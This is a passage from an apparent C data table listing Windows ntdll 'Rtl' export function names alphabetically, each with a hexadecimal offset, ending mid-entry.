{"RtlAddAtomToAtomTable", 0x0003472A, NULL, NULL}, {"RtlAddAttributeActionToRXact", 0x0002E65E, NULL, NULL}, {"RtlAddAuditAccessAce", 0x0003002D, NULL, NULL}, {"RtlAddAuditAccessAceEx", 0x0005C86B, NULL, NULL}, {"RtlAddAuditAccessObjectAce", 0x0005C93E, NULL, NULL}, {"RtlAddCompoundAce", 0x0005C603, NULL, NULL}, {"RtlAddRange", 0x0005D896, NULL, NULL}, {"RtlAddRefActivationContext", 0x0000FBD2, NULL, NULL}, {"RtlAddRefMemoryStream", 0x000205A1, NULL, NULL}, {"RtlAddVectoredExceptionHandler", 0x00036C2A, NULL, NULL}, {"RtlAddressInSectionTable", 0x000128A5, NULL, NULL}, {"RtlAdjustPrivilege", 0x00029A6D, NULL, NULL}, {"RtlAllocateAndInitializeSid", 0x0001888B, NULL, NULL}, {"RtlAllocateHandle", 0x00019394, NULL, NULL}, {"RtlAllocateHeap", 0x000100C4, NULL, NULL}, {"RtlAnsiCharToUnicodeChar", 0x00018199, NULL, NULL}, {"RtlAnsiStringToUnicodeSize", 0x0005F4C8, NULL, NULL}, {"RtlAnsiStringToUnicodeString", 0x0000EB3B, NULL, NULL}, {"RtlAppendAsciizToString", 0x0005F832, NULL, NULL}, {"RtlAppendPathElement", 0x0001D4DD, NULL, NULL}, {"RtlAppendStringToString", 0x0005F88D, NULL, NULL}, {"RtlAppendUnicodeStringToString", 0x00014FAF, NULL, NULL}, {"RtlAppendUnicodeToString", 0x00014F3A, NULL, NULL}, {"RtlApplicationVerifierStop", 0x000566E5, NULL, NULL}, {"RtlApplyRXact", 0x0002E839, NULL, NULL}, {"RtlApplyRXactNoFlush", 0x0002EDF0, NULL, NULL}, {"RtlAreAllAccessesGranted", 0x0002A04B, NULL, NULL}, {"RtlAreAnyAccessesGranted", 0x00038124, NULL, NULL}, {"RtlAreBitsClear", 0x0005FEB7, NULL, NULL}, {"RtlAreBitsSet", 0x00026707, NULL, NULL}, {"RtlAssert2", 0x0006028B, NULL, NULL}, {"RtlAssert", 0x00060499, NULL, NULL}, {"RtlCancelTimer", 0x000606E1, NULL, NULL}, {"RtlCaptureContext", 0x0000331A, NULL, NULL}, {"RtlCaptureStackBackTrace", 0x000609A1, NULL, NULL}, {"RtlCaptureStackContext", 0x000608A1, NULL, NULL}, {"RtlCharToInteger", 0x00033BC0, NULL, NULL}, {"RtlCheckForOrphanedCriticalSections", 0x00013AB3, NULL, NULL}, {"RtlCheckProcessParameters", 0x000301C7, NULL, NULL}, {"RtlCheckRegistryKey", 0x0002FAB3, NULL, NULL}, {"RtlClearAllBits", 0x0002C1CB, NULL, NULL}, {"RtlClearBits", 0x000266C1, NULL, NULL}, {"RtlCloneMemoryStream", 0x0005370D, NULL, NULL}, {"RtlCommitMemoryStream", 0x0005370D, NULL, NULL}, {"RtlCompactHeap", 0x000361D7, NULL, NULL}, {"RtlCompareMemory", 0x00002B53, NULL, NULL}, {"RtlCompareMemoryUlong", 0x00002BA3, NULL, NULL}, {"RtlCompareString", 0x0005F756, NULL, NULL}, {"RtlCompareUnicodeString", 0x000179A8, NULL, NULL}, {"RtlCompressBuffer", 0x00062A9D, NULL, NULL}, {"RtlComputeCrc32", 0x00062CE1, NULL, NULL}, {"RtlComputeImportTableHash", 0x000596CF, NULL, NULL}, {"RtlComputePrivatizedDllName_U", 0x000532FB, NULL, NULL}, {"RtlConsoleMultiByteToUnicodeN", 0x00024EA5, NULL, NULL}, {"RtlConvertExclusiveToShared", 0x0002CC10, NULL, NULL}, {"RtlConvertLongToLargeInteger", 0x00003236, NULL, NULL}, {"RtlConvertSharedToExclusive", 0x0002CBCE, NULL, NULL}, {"RtlConvertSidToUnicodeString", 0x00014C55, NULL, NULL}, {"RtlConvertToAutoInheritSecurityObject", 0x00053CC0, NULL, NULL}, {"RtlConvertUiListToApiList", 0x00053FD2, NULL, NULL}, {"RtlConvertUlongToLargeInteger", 0x0000323E, NULL, NULL}, {"RtlCopyLuid", 0x0001314C, NULL, NULL}, {"RtlCopyLuidAndAttributesArray", 0x0005DDC3, NULL, NULL}, {"RtlCopyMemoryStreamTo", 0x0005367F, NULL, NULL}, {"RtlCopyOutOfProcessMemoryStreamTo", 0x00053700, NULL, NULL}, {"RtlCopyRangeList", 0x0005D0AD, NULL, NULL}, {"RtlCopySecurityDescriptor", 0x0002C3E4, NULL, NULL}, {"RtlCopySid", 0x0001316A, NULL, NULL}, {"RtlCopySidAndAttributesArray", 0x0005DC01, NULL, NULL}, {"RtlCopyString", 0x0002D1DE, NULL, NULL}, {"RtlCopyUnicodeString", 0x00014ED9, NULL, NULL}, {"RtlCreateAcl", 0x000187E9, NULL, NULL}, {"RtlCreateActivationContext", 0x00020AD5, NULL, NULL}, {"RtlCreateAndSetSD", 0x0002EEE9, NULL, NULL}, {"RtlCreateAtomTable", 0x0003491A, NULL, NULL}, {"RtlCreateBootStatusDataFile", 0x0006311D, NULL, NULL}, {"RtlCreateEnvironment", 0x0002CA99, NULL, NULL}, {"RtlCreateHeap", 0x00025C82, NULL, NULL}, {"RtlCreateProcessParameters", 0x00022E99, NULL, NULL}, {"RtlCreateQueryDebugBuffer", 0x00054570, NULL, NULL}, {"RtlCreateRegistryKey", 0x00060EF0, NULL, NULL}, {"RtlCreateSecurityDescriptor", 0x00018651, NULL, NULL}, {"RtlCreateServiceSid", 0x0005DC95, NULL, NULL}, {"RtlCreateSystemVolumeInformationFolder", 0x000638E9, NULL, NULL}, {"RtlCreateTagHeap", 0x00022254, NULL, NULL}, {"RtlCreateTimer", 0x0002CD60, NULL, NULL}, {"RtlCreateTimerQueue", 0x0002DB03, NULL, NULL}, {"RtlCreateUnicodeString", 0x00013432, NULL, NULL}, {"RtlCreateUnicodeStringFromAsciiz", 0x00013079, NULL, NULL}, {"RtlCreateUserProcess", 0x000305AB, NULL, NULL}, {"RtlCreateUserSecurityObject", 0x0002EE71, NULL, NULL}, {"RtlCreateUserThread", 0x0002DF9A, NULL, NULL}, {"RtlCustomCPToUnicodeN", 0x0005B54E, NULL, NULL}, {"RtlCutoverTimeToSystemTime", 0x00031A7D, NULL, NULL}, {"RtlDeNormalizeProcessParams", 0x00022DEB, NULL, NULL}, {"RtlDeactivateActivationContext", 0x000178DF, NULL, NULL}, {"RtlDeactivateActivationContextUnsafeFast", 0x000011DD, NULL, NULL}, {"RtlDebugPrintTimes", 0x000604FC, NULL, NULL}, {"RtlDecodePointer", 0x00013425, NULL, NULL}, {"RtlDecodeSystemPointer", 0x00018A98, NULL, NULL}, {"RtlDecompressBuffer", 0x00062B19, NULL, NULL}, {"RtlDecompressFragment", 0x00062B85, NULL, NULL}, {"RtlDefaultNpAcl", 0x00053CD0, NULL, NULL}, {"RtlDelete", 0x00024CE1, NULL, NULL}, {"RtlDeleteAce", 0x00038151, NULL, NULL}, {"RtlDeleteAtomFromAtomTable", 0x0003407E, NULL, NULL}, {"RtlDeleteCriticalSection", 0x0001137A, NULL, NULL}, {"RtlDeleteElementGenericTable", 0x00024C80, NULL, NULL}, {"RtlDeleteElementGenericTableAvl", 0x0006423C, NULL, NULL}, {"RtlDeleteNoSplay", 0x00063C54, NULL, NULL}, {"RtlDeleteOwnersRanges", 0x0005DA5E, NULL, NULL}, {"RtlDeleteRange", 0x0005D921, NULL, NULL}, {"RtlDeleteRegistryValue", 0x00030FFC, NULL, NULL}, {"RtlDeleteResource", 0x00023CFB, NULL, NULL}, {"RtlDeleteSecurityObject", 0x0002A1E3, NULL, NULL}, {"RtlDeleteTimer", 0x00033462, NULL, NULL}, {"RtlDeleteTimerQueue", 0x000606B9, NULL, NULL}, {"RtlDeleteTimerQueueEx", 0x000605B1, NULL, NULL}, {"RtlDeregisterWait", 0x000315DA, NULL, NULL}, {"RtlDeregisterWaitEx", 0x000312B2, NULL, NULL}, {"RtlDestroyAtomTable", 0x0005C9D2, NULL, NULL}, {"RtlDestroyEnvironment", 0x00023962, NULL, NULL}, {"RtlDestroyHandleTable", 0x00023B45, NULL, NULL}, {"RtlDestroyHeap", 0x000264EE, NULL, NULL}, {"RtlDestroyProcessParameters", 0x00022DC4, NULL, NULL}, {"RtlDestroyQueryDebugBuffer", 0x00054658, NULL, NULL}, {"RtlDetermineDosPathNameType_U", 0x00013B8A, NULL, NULL}, {"RtlDllShutdownInProgress", 0x000136D0, NULL, NULL}, {"RtlDnsHostNameToComputerName", 0x00030ED3, NULL, NULL}, {"RtlDoesFileExists_U", 0x000199D8, NULL, NULL}, {"RtlDosApplyFileIsolationRedirection_Ustr", 0x0001599B, NULL, NULL}, {"RtlDosPathNameToNtPathName_U", 0x000142F5, NULL, NULL}, {"RtlDosSearchPath_U", 0x00016FF9, NULL, NULL}, {"RtlDosSearchPath_Ustr", 0x00018C11, NULL, NULL}, {"RtlDowncaseUnicodeChar", 0x0005F446, NULL, NULL}, {"RtlDowncaseUnicodeString", 0x00029B1A, NULL, NULL}, {"RtlDumpResource", 0x00053724, NULL, NULL}, {"RtlDuplicateUnicodeString", 0x00020F3B, NULL, NULL}, {"RtlEmptyAtomTable", 0x0005CAA9, NULL, NULL}, {"RtlEnableEarlyCriticalSectionEventCreation", 0x000537DD, NULL, NULL}, {"RtlEncodePointer", 0x000133FF, NULL, NULL}, {"RtlEncodeSystemPointer", 0x00018A98, NULL, NULL}, {"RtlEnlargedIntegerMultiply", 0x00003016, NULL, NULL}, {"RtlEnlargedUnsignedDivide", 0x0000302E, NULL, NULL}, {"RtlEnlargedUnsignedMultiply", 0x00003022, NULL, NULL}, {"RtlEnterCriticalSection", 0x00001000, NULL, NULL}, {"RtlEnumProcessHeaps", 0x00061889, NULL, NULL}, {"RtlEnumerateGenericTable", 0x00063D5D, NULL, NULL}, {"RtlEnumerateGenericTableAvl", 0x00030064, NULL, NULL}, {"RtlEnumerateGenericTableLikeADirectory", 0x000642C6, NULL, NULL}, {"RtlEnumerateGenericTableWithoutSplaying", 0x0001E314, NULL, NULL}, {"RtlEnumerateGenericTableWithoutSplayingAvl", 0x00030089, NULL, NULL}, {"RtlEqualComputerName", 0x0005F746, NULL, NULL}, {"RtlEqualDomainName", 0x0002B466, NULL, NULL}, {"RtlEqualLuid", 0x0005DD9A, NULL, NULL}, {"RtlEqualPrefixSid", 0x00032F94, NULL, NULL}, {"RtlEqualSid", 0x0001824C, NULL, NULL}, {"RtlEqualString", 0x000135D6, NULL, NULL}, {"RtlEqualUnicodeString", 0x00012EBB, NULL, NULL}, {"RtlEraseUnicodeString", 0x0002EE2E, NULL, NULL}, {"RtlExitUserThread", 0x000633D3, NULL, NULL}, {"RtlExpandEnvironmentStrings_U", 0x000146CA, NULL, NULL}, {"RtlExtendHeap", 0x000615C9, NULL, NULL}, {"RtlExtendedIntegerMultiply", 0x0000313A, NULL, NULL}, {"RtlExtendedLargeIntegerDivide", 0x0000304E, NULL, NULL}, {"RtlExtendedMagicDivide", 0x000030AA, NULL, NULL}, {"RtlFillMemory", 0x00002BD3, NULL, NULL}, {"RtlFillMemoryUlong", 0x00002C43, NULL, NULL}, {"RtlFinalReleaseOutOfProcessMemoryStream", 0x00020E3E, NULL, NULL}, {"RtlFindActivationContextSectionGuid", 0x00028D0E, NULL, NULL}, {"RtlFindActivationContextSectionString", 0x00015511, NULL, NULL}, {"RtlFindCharInUnicodeString", 0x00015D61, NULL, NULL}, {"RtlFindClearBits", 0x0002635D, NULL, NULL}, {"RtlFindClearBitsAndSet", 0x00026425, NULL, NULL}, {"RtlFindClearRuns", 0x0005FB92, NULL, NULL}, {"RtlFindLastBackwardRunClear", 0x00060034, NULL, NULL}, {"RtlFindLeastSignificantBit", 0x000601AF, NULL, NULL}, {"RtlFindLongestRunClear", 0x0005FDD9, NULL, NULL}, {"RtlFindMessage", 0x00035029, NULL, NULL}, {"RtlFindMostSignificantBit", 0x00060104, NULL, NULL}, {"RtlFindNextForwardRunClear", 0x0005FF3A, NULL, NULL}, {"RtlFindRange", 0x0005D200, NULL, NULL}, {"RtlFindSetBits", 0x0005F8E1, NULL, NULL}, {"RtlFindSetBitsAndClear", 0x00060258, NULL, NULL}, {"RtlFirstEntrySList", 0x00002AF8, NULL, NULL}, {"RtlFirstFreeAce", 0x000186DA, NULL, NULL}, {"RtlFlushSecureMemoryCache", 0x000643F2, NULL, NULL}, {"RtlFormatCurrentUserKeyPath", 0x00015019, NULL, NULL}, {"RtlFormatMessage", 0x000293E4, NULL, NULL}, {"RtlFreeAnsiString", 0x00010466, NULL, NULL}, {"RtlFreeHandle", 0x0001333F, NULL, NULL}, {"RtlFreeHeap", 0x0000FF2D, NULL, NULL}, {"RtlFreeOemString", 0x0002B4C3, NULL, NULL}, {"RtlFreeRangeList", 0x0005CE44, NULL, NULL}, {"RtlFreeSid", 0x0001885E, NULL, NULL}, {"RtlFreeThreadActivationContextStack", 0x0001392D, NULL, NULL}, {"RtlFreeUnicodeString", 0x00010466, NULL, NULL}, {"RtlFreeUserThreadStack", 0x000633FD, NULL, NULL}, {"RtlGUIDFromString", 0x00026CA0, NULL, NULL}, {"RtlGenerate8dot3Name", 0x00064860, NULL, NULL}, {"RtlGetAce", 0x00034EE9, NULL, NULL}, {"RtlGetActiveActivationContext", 0x0001C5CB, NULL, NULL}, {"RtlGetCallersAddress", 0x00060A5A, NULL, NULL}, {"RtlGetCompressionWorkSpaceSize", 0x00062A31, NULL, NULL}, {"RtlGetControlSecurityDescriptor", 0x0002A1B5, NULL, NULL}, {"RtlGetCurrentDirectory_U", 0x00014506, NULL, NULL}, {"RtlGetCurrentPeb", 0x00060EE1, NULL, NULL}, {"RtlGetDaclSecurityDescriptor", 0x0001379F, NULL, NULL}, {"RtlGetElementGenericTable", 0x00063CD4, NULL, NULL}, {"RtlGetElementGenericTableAvl", 0x000640C7, NULL, NULL}, {"RtlGetFirstRange", 0x0005CE89, NULL, NULL}, {"RtlGetFrame", 0x000204A1, NULL, NULL}, {"RtlGetFullPathName_U", 0x000143A9, NULL, NULL}, {"RtlGetGroupSecurityDescriptor", 0x0002B427, NULL, NULL}, {"RtlGetLastNtStatus", 0x00064C4D, NULL, NULL}, {"RtlGetLastWin32Error", 0x0000FE21, NULL, NULL}, {"RtlGetLengthWithoutLastFullDosOrNtPathElement", 0x00020779, NULL, NULL}, {"RtlGetLengthWithoutTrailingPathSeperators", 0x0002F30D, NULL, NULL}, {"RtlGetLongestNtPathLength", 0x000149D9, NULL, NULL}, {"RtlGetNativeSystemInformation", 0x0000D92E, NULL, NULL}, {"RtlGetNextRange", 0x0005CF41, NULL, NULL}, {"RtlGetNtGlobalFlags", 0x0000FF1B, NULL, NULL}, {"RtlGetNtProductType", 0x00019758, NULL, NULL}, {"RtlGetNtVersionNumbers", 0x0002132F, NULL, NULL}, {"RtlGetOwnerSecurityDescriptor", 0x0002B3E5, NULL, NULL}, {"RtlGetProcessHeaps", 0x000617D1, NULL, NULL}, {"RtlGetSaclSecurityDescriptor", 0x0005DDF2, NULL, NULL}, {"RtlGetSecurityDescriptorRMControl", 0x0005E04D, NULL, NULL}, {"RtlGetSetBootStatusData", 0x00030441, NULL, NULL}, {"RtlGetUnloadEventTrace", 0x000524CB, NULL, NULL}, {"RtlGetUserInfoHeap", 0x00013862, NULL, NULL}, {"RtlGetVersion", 0x0001966B, NULL, NULL}, {"RtlHashUnicodeString", 0x0001565D, NULL, NULL}, {"RtlIdentifierAuthoritySid", 0x0002A26C, NULL, NULL}, {"RtlImageDirectoryEntryToData", 0x00010346, NULL, NULL}, {"RtlImageNtHeader", 0x00010339, NULL, NULL}, {"RtlImageRvaToSection", 0x000128D7, NULL, NULL}, {"RtlImageRvaToVa", 0x00030B6A, NULL, NULL}, {"RtlImpersonateSelf", 0x00029DA7, NULL, NULL}, {"RtlInitAnsiString", 0x0000125D, NULL, NULL}, {"RtlInitCodePageTable", 0x00022676, NULL, NULL}, {"RtlInitMemoryStream", 0x00021534, NULL, NULL}, {"RtlInitNlsTables", 0x00022645, NULL, NULL}, {"RtlInitOutOfProcessMemoryStream", 0x000209F2, NULL, NULL}, {"RtlInitString", 0x00001225, NULL, NULL}, {"RtlInitUnicodeString", 0x00001295, NULL, NULL}, {"RtlInitUnicodeStringEx", 0x0000FE95, NULL, NULL}, {"RtlInitializeAtomPackage", 0x0002223C, NULL, NULL}, {"RtlInitializeBitMap", 0x00018A7C, NULL, NULL}, {"RtlInitializeContext", 0x0002E0D9, NULL, NULL}, {"RtlInitializeCriticalSection", 0x0001161D, NULL, NULL}, {"RtlInitializeCriticalSectionAndSpinCount", 0x0001151A, NULL, NULL}, {"RtlInitializeGenericTable", 0x000214B1, NULL, NULL}, {"RtlInitializeGenericTableAvl", 0x00030191, NULL, NULL}, {"RtlInitializeHandleTable", 0x00018B9A, NULL, NULL}, {"RtlInitializeRXact", 0x0002FE4A, NULL, NULL}, {"RtlInitializeRangeList", 0x0005CC29, NULL, NULL}, {"RtlInitializeResource", 0x0001E6FB, NULL, NULL}, {"RtlInitializeSListHead", 0x00034FC3, NULL, NULL}, {"RtlInitializeSid", 0x00018295, NULL, NULL}, {"RtlInitializeStackTraceDataBase", 0x00064ECF, NULL, NULL}, {"RtlInsertElementGenericTable", 0x00024A3F, NULL, NULL}, {"RtlInsertElementGenericTableAvl", 0x00064209, NULL, NULL}, {"RtlInt64ToUnicodeString", 0x00060E71, NULL, NULL}, {"RtlIntegerToChar", 0x0001AD08, NULL, NULL}, {"RtlIntegerToUnicodeString", 0x0001AE2E, NULL, NULL}, {"RtlInterlockedFlushSList", 0x00064DED, NULL, NULL}, {"RtlInterlockedPopEntrySList", 0x00033CB3, NULL, NULL}, {"RtlInterlockedPushEntrySList", 0x00033C71, NULL, NULL}, {"RtlInvertRangeList", 0x0005DB0F, NULL, NULL}, {"RtlIpv4AddressToStringA", 0x000653B3, NULL, NULL}, {"RtlIpv4AddressToStringExA", 0x00065401, NULL, NULL}, {"RtlIpv4AddressToStringExW", 0x0002D982, NULL, NULL}, {"RtlIpv4AddressToStringW", 0x0002D9FA, NULL, NULL}, {"RtlIpv4StringToAddressA", 0x0002C981, NULL, NULL}, {"RtlIpv4StringToAddressExA", 0x00065D5F, NULL, NULL}, {"RtlIpv4StringToAddressExW", 0x00036B9F, NULL, NULL}, {"RtlIpv4StringToAddressW", 0x00035A94, NULL, NULL}, {"RtlIpv6AddressToStringA", 0x000650A1, NULL, NULL}, {"RtlIpv6AddressToStringExA", 0x000652CD, NULL, NULL}, {"RtlIpv6AddressToStringExW", 0x0006570F, NULL, NULL}, {"RtlIpv6AddressToStringW", 0x000654A7, NULL, NULL}, {"RtlIpv6StringToAddressA", 0x00065803, NULL, NULL}, {"RtlIpv6StringToAddressExA", 0x00065B22, NULL, NULL}, {"RtlIpv6StringToAddressExW", 0x000661F6, NULL, NULL}, {"RtlIpv6StringToAddressW", 0x00065EF8, NULL, NULL}, {"RtlIsActivationContextActive", 0x000580F6, NULL, NULL}, {"RtlIsDosDeviceName_U", 0x000130A8, NULL, NULL}, {"RtlIsGenericTableEmpty", 0x0001E38C, NULL, NULL}, {"RtlIsGenericTableEmptyAvl", 0x000640AE, NULL, NULL}, {"RtlIsNameLegalDOS8Dot3", 0x000646DF, NULL, NULL}, {"RtlIsRangeAvailable", 0x0005D583, NULL, NULL}, {"RtlIsTextUnicode", 0x0002906B, NULL, NULL}, {"RtlIsThreadWithinLoaderCallout", 0x00052AC1, NULL, NULL}, {"RtlIsValidHandle", 0x000132DD, NULL, NULL}, {"RtlIsValidIndexHandle", 0x000133CE, NULL, NULL}, {"RtlLargeIntegerAdd", 0x00003002, NULL, NULL}, {"RtlLargeIntegerArithmeticShift", 0x000031E2, NULL, NULL}, {"RtlLargeIntegerDivide", 0x00066459, NULL, NULL}, {"RtlLargeIntegerNegate", 0x0000320E, NULL, NULL}, {"RtlLargeIntegerShiftLeft", 0x00003192, NULL, NULL}, {"RtlLargeIntegerShiftRight", 0x000031BA, NULL, NULL}, {"RtlLargeIntegerSubtract", 0x00003222, NULL, NULL}, {"RtlLargeIntegerToChar", 0x00060AA4, NULL, NULL}, {"RtlLeaveCriticalSection", 0x000010E0, NULL, NULL}, {"RtlLengthRequiredSid", 0x000136B8, NULL, NULL}, {"RtlLengthSecurityDescriptor", 0x0002B2CB, NULL, NULL}, {"RtlLengthSid", 0x0001319E, NULL, NULL}, {"RtlLocalTimeToSystemTime", 0x00063BB8, NULL, NULL}, {"RtlLockBootStatusData", 0x000302E3, NULL, NULL}, {"RtlLockHeap", 0x0001320B, NULL, NULL}, {"RtlLockMemoryStreamRegion", 0x00053700, NULL, NULL}, {"RtlLogStackBackTrace", 0x000115D4, NULL, NULL}, {"RtlLookupAtomInAtomTable", 0x000284AA, NULL, NULL}, {"RtlLookupElementGenericTable", 0x0002102F, NULL, NULL}, {"RtlLookupElementGenericTableAvl", 0x00064395, NULL, NULL}, {"RtlMakeSelfRelativeSD", 0x0002994F, NULL, NULL}, {"RtlMapGenericMask", 0x00029FFD, NULL, NULL}, {"RtlMapSecurityErrorToNtStatus", 0x0005E0DA, NULL, NULL}, {"RtlMergeRangeLists", 0x0005D7B6, NULL, NULL}, {"RtlMoveMemory", 0x00002C94, NULL, NULL}, {"RtlMultiAppendUnicodeStringBuffer", 0x00016915, NULL, NULL}, {"RtlMultiByteToUnicodeN", 0x0000ECBA, NULL, NULL}, {"RtlMultiByteToUnicodeSize", 0x0002939A, NULL, NULL}, {"RtlNewInstanceSecurityObject", 0x00053AEC, NULL, NULL}, {"RtlNewSecurityGrantedAccess", 0x00053B62, NULL, NULL}, {"RtlNewSecurityObject", 0x0002E957, NULL, NULL}, {"RtlNewSecurityObjectEx", 0x00032720, NULL, NULL}, {"RtlNewSecurityObjectWithMultipleInheritance", 0x000538B1, NULL, NULL}, {"RtlNormalizeProcessParams", 0x00022336, NULL, NULL}, {"RtlNtPathNameToDosPathName", 0x0002441C, NULL, NULL}, {"RtlNtStatusToDosError", 0x0000F62D, NULL, NULL}, {"RtlNtStatusToDosErrorNoTeb", 0x0000F679, NULL, NULL}, {"RtlNumberGenericTableElements", 0x00023B79, NULL, NULL}, {"RtlNumberGenericTableElementsAvl", 0x0006419C, NULL, NULL}, {"RtlNumberOfClearBits", 0x0005FE10, NULL, NULL}, {"RtlNumberOfSetBits", 0x0005FE60, NULL, NULL}, {"RtlOemStringToUnicodeSize", 0x0005F4C8, NULL, NULL}, {"RtlOemStringToUnicodeString", 0x00027485, NULL, NULL}, {"RtlOemToUnicodeN", 0x0002735C, NULL, NULL}, {"RtlOpenCurrentUser", 0x00018AD9, NULL, NULL}, {"RtlPcToFileHeader", 0x00034393, NULL, NULL}, {"RtlPinAtomInAtomTable", 0x0005CB71, NULL, NULL}, {"RtlPopFrame", 0x00019AE0, NULL, NULL}, {"RtlPrefixString", 0x0002DC55, NULL, NULL}, {"RtlPrefixUnicodeString", 0x00014408, NULL, NULL}, {"RtlProtectHeap", 0x000611B2, NULL, NULL}, {"RtlPushFrame", 0x00019B00, NULL, NULL}, {"RtlQueryAtomInAtomTable", 0x000349BD, NULL, NULL}, {"RtlQueryDepthSList", 0x00033D20, NULL, NULL}, {"RtlQueryEnvironmentVariable_U", 0x00014599, NULL, NULL}, {"RtlQueryHeapInformation", 0x0006219B, NULL, NULL}, {"RtlQueryInformationAcl", 0x0002CED5, NULL, NULL}, {"RtlQueryInformationActivationContext", 0x0000FCD2, NULL, NULL}, {"RtlQueryInformationActiveActivationContext", 0x000135B1, NULL, NULL}, {"RtlQueryInterfaceMemoryStream", 0x000205BD, NULL, NULL}, {"RtlQueryProcessBackTraceInformation", 0x00054739, NULL, NULL}, {"RtlQueryProcessDebugInformation", 0x00054F83, NULL, NULL}, {"RtlQueryProcessHeapInformation", 0x000548E1, NULL, NULL}, {"RtlQueryProcessLockInformation", 0x00054E0D, NULL, NULL}, {"RtlQueryRegistryValues", 0x0002F3FE, NULL, NULL}, {"RtlQuerySecurityObject", 0x000538EA, NULL, NULL}, {"RtlQueryTagHeap", 0x00061465, NULL, NULL}, {"RtlQueryTimeZoneInformation", 0x00060F71, NULL, NULL}, {"RtlQueueApcWow64Thread", 0x00058095, NULL, NULL}, {"RtlQueueWorkItem", 0x00027C58, NULL, NULL}, {"RtlRaiseException", 0x0000E528, NULL, NULL}, {"RtlRaiseStatus", 0x000666A0, NULL, NULL}, {"RtlRandom", 0x000666CF, NULL, NULL}, {"RtlRandomEx", 0x00037D38, NULL, NULL}, {"RtlReAllocateHeap", 0x00019BA0, NULL, NULL}, {"RtlReadMemoryStream", 0x000214EF, NULL, NULL}, {"RtlReadOutOfProcessMemoryStream", 0x0002053F, NULL, NULL}, {"RtlRealPredecessor", 0x00063C17, NULL, NULL}, {"RtlRealSuccessor", 0x0001E356, NULL, NULL}, {"RtlRegisterSecureMemoryCacheCallback", 0x000643B6, NULL, NULL}, {"RtlRegisterWait", 0x00033233, NULL, NULL}, {"RtlReleaseActivationContext", 0x00010547, NULL, NULL}, {"RtlReleaseMemoryStream", 0x0002034F, NULL, NULL}, {"RtlReleasePebLock", 0x00010451, NULL, NULL}, {"RtlReleaseResource", 0x00029F84, NULL, NULL}, {"RtlRemoteCall", 0x00064C80, NULL, NULL}, {"RtlRemoveVectoredExceptionHandler", 0x00036C96, NULL, NULL}, {"RtlResetRtlTranslations", 0x000224FB, NULL, NULL}, {"RtlRestoreLastWin32Error", 0x0000FE30, NULL, NULL}, {"RtlRevertMemoryStream", 0x000536F3, NULL, NULL}, {"RtlRunDecodeUnicodeString", 0x0002D7E3, NULL, NULL}, {"RtlRunEncodeUnicodeString", 0x0002D795, NULL, NULL}, {"RtlSecondsSince1970ToTime", 0x00063B81, NULL, NULL}, {"RtlSecondsSince1980ToTime", 0x00063B4A, NULL, NULL}, {"RtlSeekMemoryStream", 0x00053610, NULL, NULL}, {"RtlSelfRelativeToAbsoluteSD2", 0x0005C538, NULL, NULL}, {"RtlSelfRelativeToAbsoluteSD", 0x0002CFD7, NULL, NULL}, {"RtlSetAllBits", 0x0002C1FC, NULL, NULL}, {"RtlSetAttributesSecurityDescriptor", 0x0005E1C5, NULL, NULL}, {"RtlSetBits", 0x00026458, NULL, NULL}, {"RtlSetControlSecurityDescriptor", 0x0002FAE0, NULL, NULL}, {"RtlSetCriticalSectionSpinCount", 0x0002A067, NULL, NULL}, {"RtlSetCurrentDirectory_U", 0x0001E7AA, NULL, NULL}, {"RtlSetCurrentEnvironment", 0x000632F5, NULL, NULL}, {"RtlSetDaclSecurityDescriptor", 0x0001867F, NULL, NULL}, {"RtlSetEnvironmentVariable", 0x000277B8, NULL, NULL}, {"RtlSetGroupSecurityDescriptor", 0x00018A32, NULL, NULL}, {"RtlSetHeapInformation", 0x00037CE5, NULL, NULL}, {"RtlSetInformationAcl", 0x0005C5B7, NULL, NULL}, {"RtlSetIoCompletionCallback", 0x0002DD99, NULL, NULL}, {"RtlSetLastWin32Error", 0x0000FE30, NULL, NULL}, {"RtlSetLastWin32ErrorAndNtStatusFromNtStatus", 0x00064C5F, NULL, NULL}, {"RtlSetMemoryStreamSize", 0x00053672, NULL, NULL}, {"RtlSetOwnerSecurityDescriptor", 0x000189E8, NULL, NULL}, {"RtlSetProcessIsCritical", 0x0002EB9C, NULL, NULL}, {"RtlSetSaclSecurityDescriptor", 0x0002CF46, NULL, NULL}, {"RtlSetSecurityDescriptorRMControl", 0x0005E0AF, NULL, NULL}, {"RtlSetSecurityObject", 0x0002C49C, NULL, NULL}, {"RtlSetSecurityObjectEx", 0x000538C1, NULL, NULL}, {"RtlSetThreadIsCritical", 0x0002EBF0, NULL, NULL}, {"RtlSetThreadPoolStartFunc", 0x00022299, NULL, NULL}, {"RtlSetTimeZoneInformation", 0x00061099, NULL, NULL}, {"RtlSetTimer", 0x000606D1, NULL, NULL}, {"RtlSetUnicodeCallouts", 0x00059DC1, NULL, NULL}, {"RtlSetUserFlagsHeap", 0x00061315, NULL, NULL}, {"RtlSetUserValueHeap", 0x000193E9, NULL, NULL}, {"RtlSizeHeap", 0x000104DD, NULL, NULL}, {"RtlSplay", 0x00020ED8, NULL, NULL}, {"RtlStartRXact", 0x0002B15E, NULL, NULL}, {"RtlStatMemoryStream", 0x00020A55, NULL, NULL}, {"RtlStringFromGUID", 0x00028EB6, NULL, NULL}, {"RtlSubAuthorityCountSid", 0x000136E0, NULL, NULL}, {"RtlSubAuthoritySid", 0x00018278, NULL, NULL}, {"RtlSubtreePredecessor", 0x00024C5D, NULL, NULL}, {"RtlSubtreeSuccessor", 0x00063BF4, NULL, NULL}, {"RtlSystemTimeToLocalTime", 0x00035A58, NULL, NULL}, {"RtlTimeFieldsToTime", 0x0001AB39, NULL, NULL}, {"RtlTimeToElapsedTimeFields", 0x00063AE3, NULL, NULL}, {"RtlTimeToSecondsSince1970", 0x0002B1F1, NULL, NULL}, {"RtlTimeToSecondsSince1980", 0x0002A164, NULL, NULL}, {"RtlTimeToTimeFields", 0x00011EFD, NULL, NULL}, {"RtlTraceDatabaseAdd", 0x00066D4F, NULL, NULL}, {"RtlTraceDatabaseCreate", 0x00066982, NULL, NULL}, {"RtlTraceDatabaseDestroy", 0x00066A74, NULL, NULL}, {"RtlTraceDatabaseEnumerate", 0x000668FA, NULL, NULL}, {"RtlTraceDatabaseFind", 0x00066B5B, NULL, NULL}, {"RtlTraceDatabaseLock", 0x00066D2F, NULL, NULL}, {"RtlTraceDatabaseUnlock", 0x00066D3F, NULL, NULL}, {"RtlTraceDatabaseValidate", 0x00066B11, NULL, NULL}, {"RtlTryEnterCriticalSection", 0x00001118, NULL, NULL}, {"RtlUnhandledExceptionFilter2", 0x00066F61, NULL, NULL}, {"RtlUnhandledExceptionFilter", 0x000678E7, NULL, NULL}, {"RtlUnicodeStringToAnsiSize", 